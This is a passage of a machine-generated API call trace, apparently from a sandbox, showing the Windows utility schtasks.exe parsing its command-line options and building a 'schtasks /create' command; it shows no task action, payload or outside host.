(_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.621] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|delete|") returned 8 [0163.621] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|f|") returned 3 [0163.621] lstrlenW (lpString="|delete|") returned 8 [0163.621] lstrlenW (lpString="|f|") returned 3 [0163.621] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0163.621] RtlRestoreLastWin32Error () returned 0x490 [0163.621] lstrlenW (lpString="query") returned 5 [0163.621] lstrlenW (lpString="query") returned 5 [0163.621] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.621] lstrlenW (lpString="f") returned 1 [0163.621] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.621] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|query|") returned 7 [0163.621] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|f|") returned 3 [0163.621] lstrlenW (lpString="|query|") returned 7 [0163.621] lstrlenW (lpString="|f|") returned 3 [0163.621] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0163.621] RtlRestoreLastWin32Error () returned 0x490 [0163.621] lstrlenW (lpString="change") returned 6 [0163.621] lstrlenW (lpString="change") returned 6 [0163.621] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.621] lstrlenW (lpString="f") returned 1 [0163.621] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.621] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|change|") returned 8 [0163.621] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|f|") returned 3 [0163.621] lstrlenW (lpString="|change|") returned 8 [0163.622] lstrlenW (lpString="|f|") returned 3 [0163.622] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0163.622] RtlRestoreLastWin32Error () returned 0x490 [0163.622] lstrlenW (lpString="run") returned 3 [0163.622] lstrlenW (lpString="run") returned 3 [0163.622] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.622] lstrlenW (lpString="f") returned 1 [0163.622] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.622] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|run|") returned 5 [0163.622] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|f|") returned 3 [0163.622] lstrlenW (lpString="|run|") returned 5 [0163.622] lstrlenW (lpString="|f|") returned 3 [0163.622] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0163.622] RtlRestoreLastWin32Error () returned 0x490 [0163.622] lstrlenW (lpString="end") returned 3 [0163.622] lstrlenW (lpString="end") returned 3 [0163.622] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.622] lstrlenW (lpString="f") returned 1 [0163.622] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.622] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|end|") returned 5 [0163.622] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|f|") returned 3 [0163.622] lstrlenW (lpString="|end|") returned 5 [0163.622] lstrlenW (lpString="|f|") returned 3 [0163.622] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0163.622] RtlRestoreLastWin32Error () returned 0x490 [0163.622] lstrlenW (lpString="showsid") returned 7 [0163.622] lstrlenW (lpString="showsid") returned 7 [0163.622] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.623] lstrlenW (lpString="f") returned 1 [0163.623] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.623] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|showsid|") returned 9 [0163.623] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|f|") returned 3 [0163.623] lstrlenW (lpString="|showsid|") returned 9 [0163.623] lstrlenW (lpString="|f|") returned 3 [0163.623] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0163.623] RtlRestoreLastWin32Error () returned 0x490 [0163.623] RtlRestoreLastWin32Error () returned 0x490 [0163.623] RtlRestoreLastWin32Error () returned 0x0 [0163.623] lstrlenW (lpString="/f") returned 2 [0163.623] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0163.623] RtlRestoreLastWin32Error () returned 0x490 [0163.623] RtlRestoreLastWin32Error () returned 0x0 [0163.623] lstrlenW (lpString="/f") returned 2 [0163.623] GetProcessHeap () returned 0x42e0000 [0163.623] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x6) returned 0x42e6988 [0163.623] GetProcessHeap () returned 0x42e0000 [0163.623] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e97d0 [0163.623] RtlRestoreLastWin32Error () returned 0x0 [0163.623] GetProcessHeap () returned 0x42e0000 [0163.623] GetProcessHeap () returned 0x42e0000 [0163.623] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e6d58) returned 1 [0163.623] GetProcessHeap () returned 0x42e0000 [0163.623] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e6d58) returned 0x8 [0163.623] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e6d58) returned 1 [0163.623] GetProcessHeap () returned 0x42e0000 [0163.623] GetProcessHeap () returned 0x42e0000 [0163.623] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e96d0) returned 1 [0163.623] GetProcessHeap () returned 0x42e0000 [0163.623] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e96d0) returned 0x14 [0163.624] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e96d0) returned 1 [0163.624] GetProcessHeap () returned 0x42e0000 [0163.624] GetProcessHeap () returned 0x42e0000 [0163.624] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9080) returned 1 [0163.624] GetProcessHeap () returned 0x42e0000 [0163.624] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9080) returned 0x22 [0163.624] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9080) returned 1 [0163.624] GetProcessHeap () returned 0x42e0000 [0163.624] GetProcessHeap () returned 0x42e0000 [0163.624] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e94d0) returned 1 [0163.624] GetProcessHeap () returned 0x42e0000 [0163.624] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e94d0) returned 0x14 [0163.624] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e94d0) returned 1 [0163.624] GetProcessHeap () returned 0x42e0000 [0163.624] GetProcessHeap () returned 0x42e0000 [0163.624] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9920) returned 1 [0163.624] GetProcessHeap () returned 0x42e0000 [0163.624] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9920) returned 0x8 [0163.625] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9920) returned 1 [0163.625] GetProcessHeap () returned 0x42e0000 [0163.625] GetProcessHeap () returned 0x42e0000 [0163.625] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9410) returned 1 [0163.625] GetProcessHeap () returned 0x42e0000 [0163.625] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9410) returned 0x14 [0163.625] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9410) returned 1 [0163.625] GetProcessHeap () returned 0x42e0000 [0163.625] GetProcessHeap () returned 0x42e0000 [0163.625] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e7430) returned 1 [0163.625] GetProcessHeap () returned 0x42e0000 [0163.625] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e7430) returned 0x10 [0163.625] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e7430) returned 1 [0163.625] GetProcessHeap () returned 0x42e0000 [0163.625] GetProcessHeap () returned 0x42e0000 [0163.625] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e94f0) returned 1 [0163.625] GetProcessHeap () returned 0x42e0000 [0163.625] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e94f0) returned 0x14 [0163.625] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e94f0) returned 1 [0163.625] GetProcessHeap () returned 0x42e0000 [0163.625] GetProcessHeap () returned 0x42e0000 [0163.625] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e28c8) returned 1 [0163.625] GetProcessHeap () returned 0x42e0000 [0163.625] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e28c8) returned 0x8 [0163.625] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e28c8) returned 1 [0163.625] GetProcessHeap () returned 0x42e0000 [0163.626] GetProcessHeap () returned 0x42e0000 [0163.626] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9770) returned 1 [0163.626] GetProcessHeap () returned 0x42e0000 [0163.626] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9770) returned 0x14 [0163.626] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9770) returned 1 [0163.626] GetProcessHeap () returned 0x42e0000 [0163.626] GetProcessHeap () returned 0x42e0000 [0163.626] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42eba40) returned 1 [0163.626] GetProcessHeap () returned 0x42e0000 [0163.626] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42eba40) returned 0x72 [0163.626] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42eba40) returned 1 [0163.626] GetProcessHeap () returned 0x42e0000 [0163.626] GetProcessHeap () returned 0x42e0000 [0163.626] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9530) returned 1 [0163.626] GetProcessHeap () returned 0x42e0000 [0163.626] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9530) returned 0x14 [0163.626] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9530) returned 1 [0163.627] GetProcessHeap () returned 0x42e0000 [0163.627] GetProcessHeap () returned 0x42e0000 [0163.627] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e6720) returned 1 [0163.627] GetProcessHeap () returned 0x42e0000 [0163.627] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e6720) returned 0x8 [0163.627] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e6720) returned 1 [0163.627] GetProcessHeap () returned 0x42e0000 [0163.627] GetProcessHeap () returned 0x42e0000 [0163.627] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9550) returned 1 [0163.627] GetProcessHeap () returned 0x42e0000 [0163.627] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9550) returned 0x14 [0163.627] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9550) returned 1 [0163.627] GetProcessHeap () returned 0x42e0000 [0163.627] GetProcessHeap () returned 0x42e0000 [0163.627] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42eabb8) returned 1 [0163.627] GetProcessHeap () returned 0x42e0000 [0163.627] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42eabb8) returned 0x10 [0163.627] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42eabb8) returned 1 [0163.627] GetProcessHeap () returned 0x42e0000 [0163.627] GetProcessHeap () returned 0x42e0000 [0163.627] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9710) returned 1 [0163.627] GetProcessHeap () returned 0x42e0000 [0163.627] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9710) returned 0x14 [0163.627] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9710) returned 1 [0163.627] GetProcessHeap () returned 0x42e0000 [0163.627] GetProcessHeap () returned 0x42e0000 [0163.627] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e6988) returned 1 [0163.627] GetProcessHeap () returned 0x42e0000 [0163.627] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e6988) returned 0x6 [0163.628] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e6988) returned 1 [0163.628] GetProcessHeap () returned 0x42e0000 [0163.628] GetProcessHeap () returned 0x42e0000 [0163.628] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e97d0) returned 1 [0163.628] GetProcessHeap () returned 0x42e0000 [0163.628] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e97d0) returned 0x14 [0163.628] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e97d0) returned 1 [0163.628] GetProcessHeap () returned 0x42e0000 [0163.628] GetProcessHeap () returned 0x42e0000 [0163.628] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e74d8) returned 1 [0163.628] GetProcessHeap () returned 0x42e0000 [0163.628] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e74d8) returned 0x10 [0163.628] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e74d8) returned 1 [0163.628] RtlRestoreLastWin32Error () returned 0x0 [0163.628] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0163.628] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0163.628] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0163.628] RtlVerifyVersionInfo (VersionInfo=0xdc978, TypeMask=0x3, ConditionMask=0x1801b) returned 0x0 [0163.629] RtlRestoreLastWin32Error () returned 0x0 [0163.629] lstrlenW (lpString="create") returned 6 [0163.629] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0163.629] RtlRestoreLastWin32Error () returned 0x490 [0163.629] RtlRestoreLastWin32Error () returned 0x0 [0163.629] lstrlenW (lpString="create") returned 6 [0163.629] GetProcessHeap () returned 0x42e0000 [0163.629] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e97d0 [0163.629] GetProcessHeap () returned 0x42e0000 [0163.629] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x10) returned 0x42eaca8 [0163.629] _memicmp (_Buf1=0x42eaca8, _Buf2=0x232708, _Size=0x7) returned 0 [0163.629] GetProcessHeap () returned 0x42e0000 [0163.629] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x16) returned 0x42e94d0 [0163.629] RtlRestoreLastWin32Error () returned 0x0 [0163.629] _memicmp (_Buf1=0x42e7568, _Buf2=0x232708, _Size=0x7) returned 0 [0163.629] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x42e8dc8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20 [0163.629] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0xdca84 | out: lpdwHandle=0xdca84) returned 0x76c [0163.629] GetProcessHeap () returned 0x42e0000 [0163.629] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x776) returned 0x42ea058 [0163.629] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x42ea058 | out: lpData=0x42ea058) returned 1 [0163.630] VerQueryValueW (in: pBlock=0x42ea058, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xdca8c, puLen=0xdca90 | out: lplpBuffer=0xdca8c*=0x42ea408, puLen=0xdca90) returned 1 [0163.630] _memicmp (_Buf1=0x42e7568, _Buf2=0x232708, _Size=0x7) returned 0 [0163.630] _vsnwprintf (in: _Buffer=0x42e8dc8, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xdca70 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0163.630] VerQueryValueW (in: pBlock=0x42ea058, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xdca9c, puLen=0xdca98 | out: lplpBuffer=0xdca9c*=0x42ea238, puLen=0xdca98) returned 1 [0163.630] lstrlenW (lpString="schtasks.exe") returned 12 [0163.630] lstrlenW (lpString="schtasks.exe") returned 12 [0163.630] lstrlenW (lpString=".EXE") returned 4 [0163.630] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0163.630] lstrlenW (lpString="schtasks.exe") returned 12 [0163.630] lstrlenW (lpString=".EXE") returned 4 [0163.630] lstrlenW (lpString="schtasks") returned 8 [0163.630] lstrlenW (lpString="/create") returned 7 [0163.630] _memicmp (_Buf1=0x42e7568, _Buf2=0x232708, _Size=0x7) returned 0 [0163.630] _vsnwprintf (in: _Buffer=0x42e8dc8, _BufferCount=0x19, _Format="%s %s", _ArgList=0xdca70 | out: _Buffer="schtasks /create") returned 16 [0163.630] _memicmp (_Buf1=0x42e7400, _Buf2=0x232708, _Size=0x7) returned 0 [0163.630] GetProcessHeap () returned 0x42e0000 [0163.630] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e9690 [0163.630] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.630] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0163.630] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0163.630] GetProcessHeap () returned 0x42e0000 [0163.630] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x30) returned 0x42e9080 [0163.630] _vsnwprintf (in: _Buffer=0x42e8fd8, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xdca74 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0163.631] GetProcessHeap () returned 0x42e0000 [0163.631] GetProcessHeap () returned 0x42e0000 [0163.631] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42ea058) returned 1 [0163.631] GetProcessHeap () returned 0x42e0000 [0163.631] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42ea058) returned 0x776 [0163.631] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42ea058) returned 1 [0163.631] RtlRestoreLastWin32Error () returned 0x0 [0163.631] GetThreadLocale () returned 0x409 [0163.631] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.631] lstrlenW (lpString="create") returned 6 [0163.631] GetThreadLocale () returned 0x409 [0163.631] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.631] lstrlenW (lpString="?") returned 1 [0163.631] GetThreadLocale () returned 0x409 [0163.631] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.631] lstrlenW (lpString="s") returned 1 [0163.631] GetThreadLocale () returned 0x409 [0163.631] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.632] lstrlenW (lpString="u") returned 1 [0163.632] GetThreadLocale () returned 0x409 [0163.632] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.632] lstrlenW (lpString="p") returned 1 [0163.632] GetThreadLocale () returned 0x409 [0163.632] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.632] lstrlenW (lpString="ru") returned 2 [0163.632] GetThreadLocale () returned 0x409 [0163.632] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.632] lstrlenW (lpString="rp") returned 2 [0163.632] GetThreadLocale () returned 0x409 [0163.632] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.632] lstrlenW (lpString="sc") returned 2 [0163.632] GetThreadLocale () returned 0x409 [0163.632] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.632] lstrlenW (lpString="mo") returned 2 [0163.632] GetThreadLocale () returned 0x409 [0163.632] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.632] lstrlenW (lpString="d") returned 1 [0163.632] GetThreadLocale () returned 0x409 [0163.632] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.632] lstrlenW (lpString="m") returned 1 [0163.632] GetThreadLocale () returned 0x409 [0163.632] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.632] lstrlenW (lpString="i") returned 1 [0163.632] GetThreadLocale () returned 0x409 [0163.632] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.632] lstrlenW (lpString="tn") returned 2 [0163.632] GetThreadLocale () returned 0x409 [0163.632] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.632] lstrlenW (lpString="tr") returned 2 [0163.632] GetThreadLocale () returned 0x409 [0163.632] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.633] lstrlenW (lpString="st") returned 2 [0163.633] GetThreadLocale () returned 0x409 [0163.633] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.633] lstrlenW (lpString="sd") returned 2 [0163.633] GetThreadLocale () returned 0x409 [0163.633] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.633] lstrlenW (lpString="ed") returned 2 [0163.633] GetThreadLocale () returned 0x409 [0163.633] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.633] lstrlenW (lpString="it") returned 2 [0163.633] GetThreadLocale () returned 0x409 [0163.633] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.633] lstrlenW (lpString="et") returned 2 [0163.633] GetThreadLocale () returned 0x409 [0163.633] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.633] lstrlenW (lpString="k") returned 1 [0163.633] GetThreadLocale () returned 0x409 [0163.633] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.633] lstrlenW (lpString="du") returned 2 [0163.633] GetThreadLocale () returned 0x409 [0163.633] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.633] lstrlenW (lpString="ri") returned 2 [0163.633] GetThreadLocale () returned 0x409 [0163.633] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.633] lstrlenW (lpString="z") returned 1 [0163.633] GetThreadLocale () returned 0x409 [0163.633] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.633] lstrlenW (lpString="f") returned 1 [0163.633] GetThreadLocale () returned 0x409 [0163.633] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.634] lstrlenW (lpString="v1") returned 2 [0163.634] GetThreadLocale () returned 0x409 [0163.634] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.634] lstrlenW (lpString="xml") returned 3 [0163.634] GetThreadLocale () returned 0x409 [0163.634] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.634] lstrlenW (lpString="ec") returned 2 [0163.634] GetThreadLocale () returned 0x409 [0163.634] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.634] lstrlenW (lpString="rl") returned 2 [0163.634] GetThreadLocale () returned 0x409 [0163.634] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.634] lstrlenW (lpString="delay") returned 5 [0163.634] GetThreadLocale () returned 0x409 [0163.634] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.634] lstrlenW (lpString="np") returned 2 [0163.634] GetThreadLocale () returned 0x409 [0163.634] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.634] lstrlenW (lpString="hresult") returned 7 [0163.634] RtlRestoreLastWin32Error () returned 0x0 [0163.634] RtlRestoreLastWin32Error () returned 0x0 [0163.634] lstrlenW (lpString="/create") returned 7 [0163.634] lstrlenW (lpString="-/") returned 2 [0163.634] StrChrIW (lpStart="-/", wMatch=0x47f002f) returned="/" [0163.634] lstrlenW (lpString="create") returned 6 [0163.634] lstrlenW (lpString="create") returned 6 [0163.634] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.634] lstrlenW (lpString="create") returned 6 [0163.634] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.634] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|create|") returned 8 [0163.635] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|create|") returned 8 [0163.635] lstrlenW (lpString="|create|") returned 8 [0163.635] lstrlenW (lpString="|create|") returned 8 [0163.635] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0163.635] RtlRestoreLastWin32Error () returned 0x0 [0163.635] RtlRestoreLastWin32Error () returned 0x0 [0163.635] RtlRestoreLastWin32Error () returned 0x0 [0163.635] lstrlenW 